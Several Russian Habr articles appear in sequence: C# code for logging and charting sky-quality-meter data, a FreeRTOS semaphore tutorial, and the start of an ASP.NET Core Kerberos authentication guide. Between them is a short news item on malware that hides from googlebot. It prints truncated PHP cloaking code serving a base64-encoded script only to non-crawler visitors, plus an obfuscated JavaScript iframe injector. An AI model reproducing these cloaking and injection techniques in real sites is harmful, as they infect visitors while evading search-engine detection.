`DataStore` – это просто список точек данных. Он прослушивает события `SerialData` и вносит в хранилище последние данные. Здесь также присутствует таймер логирования, который производит запись последних данных на диск с установленным интервалом.
```
private void LoggingTimer_Tick(object? sender, EventArgs e)
{
if (!serialConnected)
{
//Выйти, если нет подключения
return;
}
//Создаём точку данных
//Проверяем, чтобы в снимке данных были и rx, и ux
bool hasData = false;
DataStoreDataPoint datapoint = new();
if (SQMLatestMessageReading.HasReadingForCommand("ux") &&
SQMLatestMessageReading.HasReadingForCommand("rx"))
{
//string rxMessage;
SQMLatestMessageReading.GetReading("rx", out string? rxMessage);
//string uxMessage;
SQMLatestMessageReading.GetReading("ux", out string? uxMessage);
if (rxMessage != null && uxMessage != null)
{
string[] dataRx = rxMessage.Split(',');
string[] dataUx = uxMessage.Split(',');
datapoint.Timestamp = DateTime.Now;
datapoint.AvgMPAS = Utility.ConvertDataToDouble(dataRx[1]);
datapoint.RawMPAS = Utility.ConvertDataToDouble(dataUx[1]);
datapoint.AvgTemp = Utility.ConvertDataToDouble(dataRx[5]);
datapoint.NELM = Utility.CalcNELM
(Utility.ConvertDataToDouble(dataRx[1]));
hasData = true;
}
else { hasData = false; }
}
//Логирование в память
if (hasData)
{
AddDataPoint(datapoint);
}
//Логирование в файл
if (_fileLoggingEnabled && hasData)
{
string fullpathfile;
if (_fileLoggingUseDefaultPath)
{
fullpathfile = Path.Combine
(Application.StartupPath, "logs", filename);
}
else
{
fullpathfile = Path.Combine(_fileLoggingCustomPath, filename);
}
try
{
File.AppendAllText(fullpathfile,
$"{datapoint.Timestamp:yyyy-MM-dd-HH:mm:ss},
{datapoint.RawMPAS:#0.00} raw-mpas,
{datapoint.AvgMPAS:#0.00} avg-mpas,
{datapoint.AvgTemp:#0.0} C, {datapoint.NELM:#0.00} NELM\n");
}
catch (Exception ex)
{
DialogResult result = MessageBox.Show
($"Error writing log - {ex.Message} \n Retry or Cancel
to halt file logging.", "File Logging Error",
MessageBoxButtons.RetryCancel, MessageBoxIcon.Error);
if (result == DialogResult.Cancel)
{
_fileLoggingEnabled = false;
}
}
}
}
private static void AddDataPoint(DataStoreDataPoint datapoint)
{
if (data == null || store == null) return;
while (!_memoryLoggingNoLimit && data.Count >=
_memoryLoggingRecordLimit && data.Count > 0)
{
//Удаляем первую точку данных
data.RemoveAt(0);
} //Продолжаем удалять первые точки, пока не получим достаточно пространства
//Добавляем запись
data.Add(datapoint);
store.TriggeDataStoreRecordAdded();
}
```
Построение диаграммы
--------------------
Пользовательский контроль диаграммой реализован на основе `PictureBox` (графического окна). Здесь используется одно такое окно для самой диаграммы и другое для её маркеров справа.
Строится диаграмма из растровых слоёв, генерируемых в фоновом режиме. Базовый слой содержит линии сетки, положение которых итеративно вычисляется, после чего они отрисовываются.
Всего здесь четыре слоя данных, по одному для каждого из отображаемых параметров, что позволяет при необходимости легко включать и отключать их. Базово слои прозрачные, и на них уже наносятся точки данных. При отрисовке одна запись занимает один пиксель и добавляется в мастер-слой, где отражает показания соответствующего параметра.
После отрисовки все четыре слоя накладываются поверх базового, загружаются в графический блок и показываются пользователю.
```
private void UpdatePoints()
{
updateInProgress = true;
while (localBuffer.Count > 0)
{
if (backgroundTrendRecord == null)
{
backgroundTrendRecord = new(1, pictureBoxTrend.Height);
//Запускаем диаграмму, показываем метки
labelMax.Visible = true;
labelValue34.Visible = true;
labelMid.Visible = true;
labelValue14.Visible = true;
labelMin.Visible = true;
}
//Устанавливаем цвет фона
for (int i = 0; i < backgroundTrendRecord.Height; i++)
{
backgroundTrendRecord.SetPixel(0, i, pictureBoxTrend.BackColor);
}
//Рисуем сетку
//int mainInterval = backgroundTrendRecord.Height / 4;
//int subInterval = backgroundTrendRecord.Height / 40;
double subInterval = backgroundTrendRecord.Height / 20.0;
//Увеличиваем счётчик горизонтальных линий
drawHorizontalBlankSubdivisionCounter++;
if (drawHorizontalBlankSubdivisionCounter > 9)
{
drawHorizontalBlankSubdivision = !drawHorizontalBlankSubdivision;
drawHorizontalBlankSubdivisionCounter = 0;
}
for (double position = 0;
position < backgroundTrendRecord.Height; position += subInterval)
{
if (position < backgroundTrendRecord.Height)
{
backgroundTrendRecord.SetPixel(0, Convert.ToInt32(position),
Color.FromKnownColor(KnownColor.LightGray));
}
}
//Main
//Увеличиваем 2 вертикальных счётчика позиций
drawVerticalSubDivisionCounter++;
drawVerticalMainDivisionCounter++;
if (drawVerticalSubDivisionCounter > 9)
{
for (int outer = 0; outer < backgroundTrendRecord.Height; outer++)
{
backgroundTrendRecord.SetPixel
(0, outer, Color.FromKnownColor(KnownColor.LightGray));
}
drawVerticalSubDivisionCounter = 0;
}
if (drawVerticalMainDivisionCounter > 49)
{
for (int i = 0; i < backgroundTrendRecord.Height; i++)
{
backgroundTrendRecord.SetPixel
(0, i, Color.FromKnownColor(KnownColor.Black));
}
drawVerticalMainDivisionCounter = 0;
}
//Основные горизонтальные разделительные линии
backgroundTrendRecord.SetPixel
(0, 0, Color.FromKnownColor(KnownColor.Black));
backgroundTrendRecord.SetPixel
(0, Convert.ToInt32(subInterval * 5),
Color.FromKnownColor(KnownColor.Black));
backgroundTrendRecord.SetPixel
(0, Convert.ToInt32(subInterval * 10),
Color.FromKnownColor(KnownColor.Black));
backgroundTrendRecord.SetPixel
(0, Convert.ToInt32(subInterval * 15),
Color.FromKnownColor(KnownColor.Black));
backgroundTrendRecord.SetPixel
(0, backgroundTrendRecord.Height - 1,
Color.FromKnownColor(KnownColor.Black));
//Добавляем запись диаграммы в мастер-слой, при необходимости проверяем размер
if (backgroundMasterTrend == null)
{
backgroundMasterTrend = new(1, pictureBoxTrend.Height);
}
else
{
//Проверяем, установлено ли ограничение для размера записей, и соответствующим образом их обрезаем
if (!SettingsManager.MemoryLoggingNoLimit &&
backgroundMasterTrend.Width > SettingsManager.MemoryLoggingRecordLimit)
{
Bitmap newBitmap = new(SettingsManager.MemoryLoggingRecordLimit,
backgroundMasterTrend.Height);
using (Graphics gNew = Graphics.FromImage(newBitmap))
{
Rectangle cloneRect = new(backgroundMasterTrend.Width -
SettingsManager.MemoryLoggingRecordLimit, 0,
SettingsManager.MemoryLoggingRecordLimit,
backgroundMasterTrend.Height);
Bitmap clone = backgroundMasterTrend.Clone
(cloneRect, backgroundMasterTrend.PixelFormat);
gNew.DrawImage(clone, 0, 0);
}
backgroundMasterTrend = newBitmap;
}
}
Bitmap bitmap = new(backgroundMasterTrend.Width +
backgroundTrendRecord.Width,
Math.Max(backgroundMasterTrend.Height,
backgroundTrendRecord.Height));
using Graphics g = Graphics.FromImage(bitmap);
{
g.DrawImage(backgroundMasterTrend, 0, 0);
g.DrawImage(backgroundTrendRecord, backgroundMasterTrend.Width, 0);
}
backgroundMasterTrend = bitmap;
//Отрисовываем точки данных
DataStoreDataPoint data = localBuffer.First();
int y;
int penRaw = 0; //Сохраняем y-координату каждой точки для отрисовки их вертикальных линий связи
int penAvg = 0;
int penTemp = 0;
int penNELM = 0;
// Температура
if (layerTempRecord == null)
{
layerTempRecord = new(1, pictureBoxTrend.Height);
}
//Устанавливаем цвет фона
for (int i = 0; i < layerTempRecord.Height; i++)
{
layerTempRecord.SetPixel(0, i, Color.Transparent);
}
if (SettingsManager.TemperatureUnits ==
Enums.TemperatureUnits.Centrigrade)
{
y = layerTempRecord.Height - (Convert.ToInt32(data.AvgTemp /
(trendMaximum - trendMinimum) * layerTempRecord.Height));
}
else
{
y = layerTempRecord.Height -
(Convert.ToInt32(Utility.ConvertTempCtoF(data.AvgTemp) /
(trendMaximum - trendMinimum) * layerTempRecord.Height));
}
if (y < 0) { y = 0; } else if (y >= pictureBoxTrend.Height)
{ y = pictureBoxTrend.Height - 1; }
layerTempRecord.SetPixel(0, y, checkBoxTemp.ForeColor);
penTemp = y;
//Вертикальное объединение
if (firstPointsDrawn && y != lastPointTemp)
{
if (lastPointTemp > y)
{
for (int pos = lastPointTemp; pos > y; pos--)
{
layerTempRecord.SetPixel(0, pos, checkBoxTemp.ForeColor);
}
}
else
{
for (int pos = lastPointTemp; pos < y; pos++)
{
layerTempRecord.SetPixel(0, pos, checkBoxTemp.ForeColor);
}
}
}
lastPointTemp = y; //Сохраняем последнюю позицию, которая будет использоваться для последующей отрисовки маркеров
//Включаем запись диаграммы в мастер-слой, при необходимости проверяем её размер
if (layerTemp == null)
{
layerTemp = new(1, pictureBoxTrend.Height);
}
else
{
//Проверяем, установлено ли ограничение размера, если да – обрезаем слой
if (!SettingsManager.MemoryLoggingNoLimit &&
layerTemp.Width > SettingsManager.MemoryLoggingRecordLimit)
{
Bitmap newTempBitmap =
new(SettingsManager.MemoryLoggingRecordLimit, layerTemp.Height);
using Graphics gTempClone = Graphics.FromImage(newTempBitmap);
{
Rectangle cloneRect = new(layerTemp.Width -
SettingsManager.MemoryLoggingRecordLimit, 0,
SettingsManager.MemoryLoggingRecordLimit, layerTemp.Height);
Bitmap clone = layerTemp.Clone(cloneRect,
layerTemp.PixelFormat);
gTempClone.DrawImage(clone, 0, 0);
}
layerTemp = newTempBitmap;
}
}
Bitmap bitmapTemp = new(layerTemp.Width + layerTempRecord.Width,
Math.Max(layerTemp.Height, layerTempRecord.Height));
using Graphics gTemp = Graphics.FromImage(bitmapTemp);
{
gTemp.DrawImage(layerTemp, 0, 0);
gTemp.DrawImage(layerTempRecord, layerTemp.Width, 0);
}
layerTemp = bitmapTemp;
```
Код выше только показывает фоновый цвет и температуру, другие три параметра обрабатываются точно таким же образом.
Здесь важно сохранять позицию последней отрисованной точки данных для каждого параметра, чтобы иметь возможность связывать смежные точки вертикальными линиями.
При этом слои также обрезаются, чтобы не превышать установленное количество точек данных.
Следующие два метода генерируют полную диаграмму и отображают её:
```
private void GenerateCompletedTrend()
{
//Генерируем составную диаграмму для активных слоёв
if (backgroundMasterTrend == null)
{
return;
}
Bitmap bitmapFinal = new(backgroundMasterTrend.Width,
backgroundMasterTrend.Height);
using Graphics gFinal = Graphics.FromImage(bitmapFinal);
{
//Рисуем фоновые линии
gFinal.DrawImage(backgroundMasterTrend, 0, 0);
//Рисуем слои данных наложением – первыми идут менее значимые
if (checkBoxTemp.Checked && layerTemp != null)
{
gFinal.DrawImage(layerTemp, 0, 0);
}
if (checkBoxNELM.Checked && layerNELM != null)
{
gFinal.DrawImage(layerNELM, 0, 0);
}
if (checkBoxRawMPAS.Checked && layerRawMPAS != null)
{
gFinal.DrawImage(layerRawMPAS, 0, 0);
}
if (checkBoxAvgMPAS.Checked && layerAvgMPAS != null)
{
gFinal.DrawImage(layerAvgMPAS, 0, 0);
}
}
completeTrend = bitmapFinal;
}
private void DisplayTrend()
{
if (completeTrend == null)
{
return;
}
pictureBoxTrend.Width = completeTrend.Width;
pictureBoxTrend.Image = completeTrend;
if (pictureBoxTrend.Width > (this.Width - pictureBoxPens.Width))
{
buttonRunStop.Visible = true;
horizontalTrendScroll.Maximum = pictureBoxTrend.Width - this.Width +
pictureBoxPens.Width; //Увеличиваем максимум в полосе прокрутки
if (autoScroll)
{
horizontalTrendScroll.Value = horizontalTrendScroll.Maximum;
pictureBoxTrend.Left = pictureBoxPens.Left -
pictureBoxTrend.Width; //Сдвигаем графическое окно влево, делая видимыми последние данные
}
else
{
pictureBoxTrend.Left = horizontalTrendScroll.Value * -1;
}
}
else
{
buttonRunStop.Visible = false;
horizontalTrendScroll.Enabled = false;
horizontalTrendScroll.Maximum = 0;
pictureBoxTrend.Left = this.Width - pictureBoxTrend.Width -
pictureBoxPens.Width;
}
if (autoScroll)
{
buttonRunStop.Text = "\u23F8"; //Пауза
}
else
{
buttonRunStop.Text = "\u23F5"; //Выполнение
}
pictureBoxTrend.Refresh();
}
```
Когда изображение диаграммы превысит ширину видимого графического блока, мы сдвигаем картинку и отображаем полосу прокрутки, по которой пользователь сможет перемещаться.
Для отрисовки маркеров справа от диаграммы используются закрашенные полигоны.
```
private void DrawMarkers(int penRaw, int penAvg, int penTemp, int penNELM)
{
//Отрисовываем маркеры
Graphics gPen = pictureBoxPens.CreateGraphics();
{
gPen.Clear(pictureBoxTrend.BackColor);
//Отрисовываем их в порядке приоритета наложения
if (checkBoxTemp.Checked)
{
Point[] points = { new Point(0, penTemp),
new Point(15, penTemp - 4), new Point(15, penTemp + 4) };
gPen.FillPolygon(new SolidBrush(checkBoxTemp.ForeColor), points);
}
if (checkBoxNELM.Checked)
{
Point[] points = { new Point(0, penNELM),
new Point(15, penNELM - 4), new Point(15, penNELM + 4) };
gPen.FillPolygon(new SolidBrush(checkBoxNELM.ForeColor), points);
}
if (checkBoxRawMPAS.Checked)
{
Point[] points = { new Point(0, penRaw),
new Point(15, penRaw - 4), new Point(15, penRaw + 4) };
gPen.FillPolygon(new SolidBrush(checkBoxRawMPAS.ForeColor), points);
}
if (checkBoxAvgMPAS.Checked)
{
Point[] points = { new Point(0, penAvg),
new Point(15, penAvg - 4), new Point(15, penAvg + 4) };
gPen.FillPolygon(new SolidBrush(checkBoxAvgMPAS.ForeColor), points);
}
}
}
```
Видео-демонстрация
------------------
Ресурсы
-------
Вся база кода размещена на [GitHub](https://github.com/Daves-Astrophotography/UniUSBSQMServer), так как я сделал это приложение доступным для сообщества астрономов.
[](https://bit.ly/3N6JBGr?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=rassharivanie_usb-ustrojstva_po_neskolkim_klientam_cherez_tcp) | https://habr.com/ru/post/669408/ | null | ru | null |
# Вредоносные скрипты научились прятаться от googlebot
Google довольно хорошо определяет вредоносный код на HTML-страницах, после чего уличённый сайт попадает в «чёрный список» и понижается в результатах поиска. Хуже того, о заражении мгновенно становится известно владельцу сайта, который получает фидбек от пользователей, пришедших с поисковика. Всё это очень плохо для бизнеса вирусописателей. Вот почему они придумали [новый трюк](http://blog.sucuri.net/2010/04/malware-hiding-from-google.html): начали добавлять в страницу закодированный код вроде такого:
`if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&&
(!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo")))
{
return base64_decode("PHNjcmlwdD5.. ..KS5qb2luKCIiKSk7PC9zY3JpcHQ+");
}
else
{
return "";
}`
То есть malware проверяет, если на сайт зашёл поисковый бот Google или Yahoo, то в этом случае вредоносный код не появляется на странице. Для остальных посетителей выводится скрипт.
`var bpxDsSbm8='d*%@o*%@c*%@u*%@%@a*%@.. %@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@.. *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%.. @e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r;eval(bpxDsSbm8.split('*%@').join(""));` | https://habr.com/ru/post/91936/ | null | ru | null |
# STM32 и FreeRTOS. 2. Семафорим по-черному
[Часть первая, про потоки](http://habrahabr.ru/post/249273/)
В реальной жизни часто случается так, что некоторые события происходят с разной переодичностью (а могут и вообще не происходить). Скажем, заказ сока в «Макдональдсе», нажатие кнопки пользователем или заказ лыж в прокате. А наш могучий микроконтроллер должен все это обрабатывать. Но как это сделать наиболее удобно?
Давайте пронаблюдаем процесс заказа сока в макдаке. Покупатель говорит «хочу сок», один продавец пробивает стоимость в чек, а другой смотрит в экранчик и идет наливать сок. Налил, принес и опять смотрит в экранчик, чего надо принести. И так продолжается до бесконечности или до конца смены. Мы заменяем человеческий труд машинным, поэтому автоматизируем это!
Обычный программист, прочитав предыдущую статью, радостно садится и пишет примерно такой код.
```
bool sok=false;
void thread1(void)
{
for(;;) if(user_want_juice()) sok=true;
}
void thread2(void)
{
for(;;) if(sok) {prinesi_sok(); sok=false; }
}
```
Логика думаю понятна: один поток контролирует ситуацию и ставит флаг, когда надо принести сок. А другой контролирует этот флаг и приносит сок, если надо. Где проблемы?
Первая проблема в том, что приносящий сок постоянно спрашивает «сок принести надо?». Это раздражает продавца и нарушает первое правило программиста встроенных устройств «если функции нечего делать, то отдай управление планировщику». Казалось бы, ну воткнем osDelay(1), что бы другие задачи отработали или просто понизим приоритет и пускай крутится, ведь железка-то железная выдержит… В том-то и дело, что не выдержит. Перегрев, недостаток ресурсов и так далее и тому подобное… Это не большие компьютеры — тут иногда вся плата меньше самого мелкого компьютерного кулера.
А вторая проблема зарыта гораздо глубже. Дело в компиляторах, оптимизациях и многопоточности. Вот для примера: у нас подносчик сока такой шустрый, что может обслужить сразу трех продавцов. В итоге легко может получиться классическая «гонка», когда процессы передерутся между собой.
*Продавец1 (далее П1) «Мне нужен сок!» sok=true;
Соконосец (далее С) (просыпаясь) «О! Сок нужен, пошел»
П2 «Мне тоже сок нужен» sok=true;
П3 «Мне тоже!» sok=true;
C (принес сок), П1 — на тебе сок. sok=false;
П2 и П3 в печали.*
Программист думает, думает и придумывает счетчик вместо логического флага. Смотрит, что получилось.
*П1 «Соку!» sok++;
C «Счас»
П2 «Соку!» sok++
П3 «Мне тоже два сока!» sok++;sok++;
С -П1 «на сок!» sok--;
C (sok>0?) «О, еще надо!»
С — П2 «держи» sok--;
C «и еще надо?»
С- П3 «велкам» sok--;
C — и еще счас разок схожу
С -П3 «пжлста» sok--;
C «О, сока больше никому не надо, пойду спать».*
Код работает красиво, понятно и в принципе ошибок не должно быть. Программист закрывает задачу и приступает к следующей. В конце концов перед очередной сборкой проекта начинается нехватка ресурсов и кто-то хитрый (или умный ;) включает оптимизацию или просто меняет контроллер на многоядерный. И все: задача выше перестает работать как положенно. Причем что самое гадкое, иногда она работает как положено, а под отладчиком в 99% случаев она вообще ведет себя идеально. Программист плачет, рыдает и начинает следовать шаманским советам типа «объяви переменную как static или volatile».
А что происходит в реальности? Давайте я немного покапитаню.
Когда соконосец выполняет операцию sok--; в реальности происходит следующее:
*1. Берем во временную переменную значение sok
2. Уменьшаем значение временной переменной на 1
3. Записываем значение временной переменной в sok*А теперь вспоминаем, что у нас многопоточная (и может многоядерная) система. Потоки реально могут выполняться параллельно. И поэтому в реальности, а не под отладчиком, происходит следующее (или продавец и соконосец одновременно обратились к одной переменной)
*С. Берем во временную переменную значение sok
П. Берем во временную переменную 2 значение sok;
С. Уменьшаем значение временной переменной на 1
П. Увеличиваем значение временной переменной 2 на 1.
П. Записываем значение временной переменной 2 в sok
С. Записываем значение временной переменной в sok*
В результате в sok у нас совершенно не то значение, которое мы ожидали. Обнаружив данный факт, программист рвет на себе свитер с оленями, восклицая что-то типа «я же читал об этом, ну как я мог забыть!» и оборачивает код работы с переменной в обертку, которая запрещает многопоточный доступ к этой переменной. Обычно народ вставляет запрет переключения задач и прочие подобные штуки типа мутексов. Запускает оптимизации — все работает отлично. Но тут приходит архитектор проекта (или главный технарь в studiovsemoe, то есть я) и дает программисту по башке, ибо все подобные запреты и прочее очень сильно просаживают производительность и пускают под откос практически все, что завязано на временные промежутки.
Казалось бы, почти безвыходная ситуация, ибо придется переписывать кучу кода, да еще так, что бы не нарушить первое правило программиста… Но я обычно внезапно добрею и рассказываю то, что вы сейчас читаете.
В любой приличной ОС есть семафоры. В FreeRTOS есть два типа семафоров — «бинарный» и «счетный». Все их отличие в том, что бинарный — это частный случай счетного, когда счетчик равен 1. Плюс бинарный очень опасно применять в высокоскоростных системах.
В чем преимущество семафоров против обычной переменной?
Во-первых, можно попросить планировщик задач не выделять ресурсов потоку, пока данный семафор не изменит свое состояние. То есть соконосец не будет больше терроризировать продавца «а нужен ли сок?», а будет спать где-то в подсобке до тех пор, пока кому-то не понадобится сок.
И во-вторых, планировщик задач выполняет все необходимые проверки для сохранения целостности семафора и его значения. То есть можно запускать на одного продавца несколько соконосцев, которые таскают сок с разной скоростью и они не передерутся между собой и не притащат сока больше, чем необходимо.
В чем проблема с высокоскоростными системами и бинарными семафорами? В принципе ситуация полностью аналогична первому примеру про соконосцев, только перевернутой с ног на голову.
Представим себе, что контролером в макдак взяли тормознутого паренька (далее К). Его задача простая — подсчитать, сколько сока заказали.
*П1-С «Сок!»
К — «О, сок заказали, надо нарисовать единичку!»
П2-С «Сок!»
П3-С «Соку!»
(все это время К, высунув язык, рисует единичку)
К — Так, единичку нарисовали, ждем следующего заказа.*
Как понимаете, данные в конце дня совершенно не сойдутся. И именно поэтому у нас в студии запрещено использовать бинарные семафоры как класс — скорости контроллеров всегда разные (разница в скорости STM32L1/MSP430 на минимальной частоте и STM32F4 на максимальной больше двух порядков, а код работает один), а ловить такие ошибки очень сложно.
Как работают счетные семафоры? Возьмем для примера все тот же макдак, отдел приготовления бутербродов (или как там одним словом называются гамбургеры с бигмаками?). С одной стороны есть куча продавцов, которые продают бигмаки. Бигмаки продаются по одному, по два или по десятку разом. В общем, не угадаешь. А с другой стороны есть делатель бигмаков. Он может быть одним, молодым и неопытным, а может быть матерым и быстрым. Или все сразу. Продавцу на это пофиг — ему нужен бигмак и кто его сделает ему все равно. В результате:
*П1 «Нужен 1 бигмак» (ставит семафор в 1ку)
Д1 «Ок, я могу делать 1 бимак». (молодой, оказался ближе, снимает семафор в 0)
П2 «Нужно 3 бигмака» (увеличивает семафор на 3)
Д2 «Ок, я могу сделать еще 1 бигмак» (следующим в очереди на ожидание. семафор в 2)
(тут приходит Д1)
Д1 «сделал бигмак, еще один могу сделать» (семафор 1)
Д2 «ок, я свой сделал, сделаю счас еще один». Семафор 0
(приходит назад, он быстрый)
Д2 «Еще бигмаки надо? я подожду 10 тиков, если нет, то уйду»
Д1 «Все, сделал. Разбудите, как еще надо будет» (планировщик тормозит тред)
Д2 «Чего, не надо? ну я ушел. загляну через Нцать тиков»*
В итоге бигмаки может делать один человек, а могут 10 — разница будет только в числе произведенных бигмаков в единицу времени. Ладно, хватит про бигмаки и макдональдсы, надо реализовывать все это в коде. Опять же берем плату и код из прошлого примера. У нас 8 светодиодов, которые мигают по-разному, с разной скоростью. Вот пусть будет один сделанный «мырг» равен одному «бутерброду». На плате есть пользовательская кнопка, поэтому сделаем так, что бы одно нажатие требовало 1 «бутерброд». А если кнопку держим, что пусть требует по 5 «бутербродов» в секунду.
Где-нибудь в «глобальном» коде создаем семафор.
```
xSemaphoreHandle BigMac;
```
В коде треда StartThread инициализируем семафор
```
BigMac = xSemaphoreCreateCounting( 100, 0 );
```
То есть максимум мы можем заказать 100 бигмаков, а сейчас их надо 0
И изменим код бесконечного цикла на следующий
```
if(HAL_GPIO_ReadPin(GPIOA,GPIO_PIN_0)==GPIO_PIN_SET)
{
xSemaphoreGive(BigMac);
}
osDelay(200);
```
То есть если кнопка (а она на плате прицелена к PА0) нажата, то каждые 200мс мы выдаем один семафор/требуем бигмак.
И к каждому коду мигания светодиодиком добавим
```
xSemaphoreTake( BigMac, portMAX_DELAY);
HAL_GPIO_WritePin(GPIOE,GPIO_PIN_15,GPIO_PIN_RESET);
...
```
То есть ждем семафора BigMac до опупения (portMAX\_DELAY). Можно поставить любое число тиков или через макрос portTICK\_PERIOD\_MS задать число миллисекунд для ожидания.
*Внимание! В коде я не стал вводить никаких проверок для повышения его читабельности.*
Компилируем, запускаем. Чем дольше держим кнопку, тем больше светодиодиков мигает. Отпускаем — перестают. Но один, самый быстрый (и дальний в очереди) у меня не замигал — ему просто не хатает «заказов». Ок, увеличиваю скорость до 50мс на каждый бутерброд. Теперь заказов хватает всем и все мигают. Отпускаешь кнопку — они некоторое время продолжают мигать, делая собранные заказы. Что бы было совсем хорошо, я разрешил заказывать бигмаков аж 60 тыщ (можно до unsigned long) и период заказа поставил 10мс.
Теперь все стало совсем красиво — нажал, светодиодики замигали. Чем дольше держишь кнопку, тем дольше мигают светодиодики после отпускания. Полная аналогия реальной жизни.
Что бы продолжить аналогию с реальной жизнью, вспомним, что это в макдаке всегда есть какие-то сборщики бутербродов. То есть продавец может не оборачиваясь, махнуть «надо бутерброд» и кто-нибудь его сделает. А если это обычная столовая в необеденное время? Там кассирша может хоть обмахаться — никто просто не увидит, ибо все кроме нее смотрят очередной сериал. Кассирше надо понять, чего хочет забредший в неурочное время посетитель и крикнуть что-то типа «Татьяна Васильевна, выйдите пожалуйста, тут суп налить надо».
Для таких адресных случаев семафоры использовать нет смысла. В старый версиях FreeRTOS можно было просто через API разбудить задачу («там суп надо»), а в новых появился вызов vTaskNotify (отличие только в передаваемом параметре «там суп класса борщ надо»), использование которого полностью аналогично семафорам, но адресно. По сравнению с обычными обещают дикое повышение производительности, но на данный момент мы масштабных тестов не проводили.
Есть еще один подвид семафоров — мутексы (mutex), но это те же самые бинарные семафоры. А рекурсивные мутексы — это счетные семафоры. Сделаны абсолютно так же, работают абсолютно так же, только «можно делать» состояние у них не «больше нуля», как у обычных, а «только ноль». Используются для разделения к ресурсам и переменным. Предлагаю придумать примеры применения самим *(Тут почему-то все придумывают историю про туалет и ключ. Ни разу не было про «флаг передовика» или «печать фирмы». Видимо, специфика :)*
Результат работы кода проще показать на видео, чем описывать словами
*На этом этапе народ начинает спорить о применимости семафоров в уже написанном коде и обычно доходит до того, что в FreeRTOS называется event flags/bits/group. После краткого гуглежа на эту тему программисты расходится довольными и умиротворенными :)*
Как обычно, полный код с обновлениями из поста можно найти тут [kaloshin.ru/stm32/freertos/stage2.rar](http://kaloshin.ru/stm32/freertos/stage2.rar)
[Следующая часть, про очереди](http://habrahabr.ru/post/249381/) | https://habr.com/ru/post/249283/ | null | ru | null |
# Прозрачная аутентификация в ASP.Net Core на Linux
Аутентификация в ASP.Net (Core) — тема довольно избитая, казалось бы, о чем тут еще можно писать. Но по какой-то причине за бортом остается небольшой кусочек — сквозная доменная аутентификация (ntlm, kerberos). Да, когда мы свое приложение хостим на IIS, все понятно — он за нас делает всю работу, а мы просто получаем пользователя из контекста. А что делать, если приложение написано под .Net Core, хостится на Linux машине за Nginx, а заказчик при этом предъявляет требования к прозрачной аутентификации для доменных пользователей? Очевидно, что IIS нам тут сильно не поможет. Ниже я расскажу, как можно данную задачу решить c минимальными трудозатратами. Написанное актуально для .Net Core версии 2.0-2.2. Скорее всего, будет работать на версии 3 и с той же вероятностью не будет работать на версии 1. Делаю оговорку на версионность, поскольку .Net Core довольно активно развивается, и частенько методы, сервисы, зависимости могут менять имена, местоположение, сигнатуры или вообще пропадать.
Что такое Kerberos, и как это работает, кратко можно прочитать в [Wiki](https://ru.wikipedia.org/wiki/Kerberos). В нашей задаче Kerberos в паре с [keytab](https://social.technet.microsoft.com/wiki/contents/articles/36470.active-directory-using-kerberos-keytabs-to-integrate-non-windows-systems.aspx) файлом дает возможность приложению на Linux сервере (на Windows, само собой, тоже), который не требуется включать в домен, пропускать сквозной аутентификацией пользователей на windows-клиентах.
Большое огорчение для того читателя, который ожидал увидеть здесь код работы с самим kerberos. Увы, его не будет. Мне повезло, полчаса поиска на github и вот она, удача — библиотека [Kerberos.NET](https://github.com/SteveSyfuhs/Kerberos.NET) (в [nuget](https://www.nuget.org/packages/Kerberos.NET) тоже есть). Проект развивается, много чего умеет. Советую изучить ее повнимательнее.
Поизучав исходники ASP.NET Core, а конкретно [исходники реализаций популярных способов аутентификации](https://github.com/dotnet/aspnetcore/tree/v2.2.1/src/Security/src), я решил делать поддержку Kerberos поверх уже реализованной [Cookies](https://github.com/dotnet/aspnetcore/tree/v2.2.1/src/Security/src/Microsoft.AspNetCore.Authentication.Cookies) аутентификации.
На мой взгляд, это один из самых простых и быстрых способов, поскольку это избавило меня от написания приличного объема инфраструктурного кода: работа непосредственно с Cookies, генерация внутреннего токена аутентификации, контроль за временем жизни сессии. И потом, нужные нам методы внезапно можно перегружать, как-будто Microsoft специально заложил возможность расширения возможности стандартной реализации своим кодом.
Процесс Kerberos аутентификации состоит из нескольких шагов:
1. Обращение неаутентифицированного клиента в web-приложение
2. Предварительно настроенное на поддержку Kerberos приложение получает запрос от неизвестного клиента и желает опознать его. Для этого оно в ответе на определенный метод \*Web API\* добавляет заголовок *WWW-Authenticate* со значением *Negotiate*
3. Браузер видит заголовок *WWW-Authenticate* со значением *Negotiate* и понимает, что приложение хочет опознать пользователя по доменной сессии
4. Если все настроено корректно, то на приложение уходит запрос с проставленным заголовком *Authorization* и значением вида *Negotiate {Kerberos тикет}*
5. Приложение валидирует тикет и получает информацию о пользователе из домена
6. Profit!
С порядком действий определились, пора писать код.
Начнем с самого главного — нужно придумать имя нашего нового способа аутентификации. Создадим класс, в котором будем хранить его константой:
```
public class MixedAuthenticationDefaults
{
public const string AuthenticationScheme = "Mixed";
public const string AuthorizationHeader = "Negotiate";
}
```
Назовем *Mixed*. Заодно рядышком положим в константу значение заголовка *WWW-Authenticate*.
Далее по плану — сообщить браузеру клиента, что мы желаем аутентифицироваться по доменной учетной записи.
Теперь неплохо бы добавить в Web API нашего приложения метод для запроса аутентификации:
```
[HttpGet("login")]
public async Task External()
{
return Challenge(new AuthenticationProperties(), MixedAuthenticationDefaults.AuthenticationScheme);
}
```
Касательно использования вызова метода *Challenge*. На мой взгляд, это самый простой способ «дописать» в заголовки ответа метода Web API нужные данные внутри своей реализации аутентификации. Приложение может конфигурироваться на несколько способов аутентификации через конфиг, и каждый из способов может добавлять к ответу что-то свое. В случае Kerberos это заголовок, а, например, для OAuth мы можем добавить *redirect url*. Чуть ниже по тексту, когда дойдем до обработчика, я покажу, как это будет выглядеть в коде. Теперь напишем валидатор тикета Kerberos.
Как я ранее упоминал, всю черную магию логики валидации за нас будет делать библиотека [Kerberos.NET](https://github.com/SteveSyfuhs/Kerberos.NET).
```
public class KerberosAuthTicketValidator
{
public async Task IsValid(string ticket, string keytabPath)
{
if (!string.IsNullOrEmpty(keytabPath) || !string.IsNullOrEmpty(ticket))
{
var kerberosAuth = new KerberosAuthenticator(new KeyTable(File.ReadAllBytes(\_kerberosConfiguration.KeytabPath)));
var identity = await kerberosAuth.Authenticate(kerberosCredentials.Ticket);
return identity;
}
